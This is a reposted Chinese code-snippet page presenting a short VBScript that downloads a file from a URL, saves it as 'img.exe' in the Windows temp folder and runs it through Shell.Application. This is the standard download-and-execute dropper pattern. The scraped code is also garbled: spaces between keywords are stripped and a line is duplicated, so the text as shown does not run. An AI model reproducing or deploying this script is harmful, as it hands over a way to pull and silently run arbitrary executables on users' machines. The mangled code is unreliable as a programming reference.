下载文件到本地运行的vbs
发布时间:2016-12-28 来源:查字典编辑
摘要:复制代码代码如下:'onerrorresumenextdl=http://www.jb51.net/index.htm'这是要下载的文件的路...
复制代码 代码如下:
'onerrorresumenext
dl=http://www.jb51.net/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Setx=CreateObject(str)
Setx=CreateObject(str)
setS=createobject("adodb.stream")
S.type=1
x.Open"GET",dl,False
x.Send()
fname1="img.exe"
setF=createobject("Scripting.FileSystemObject")
settmp=F.GetSpecialFolder(2)'缓存
fname1=F.BuildPath(tmp,fname1)
S.open
S.writex.responseBody
S.savetofilefname1,2
msgboxfname1
S.close
setQ=createobject("Shell.Application")
Q.ShellExecutefname1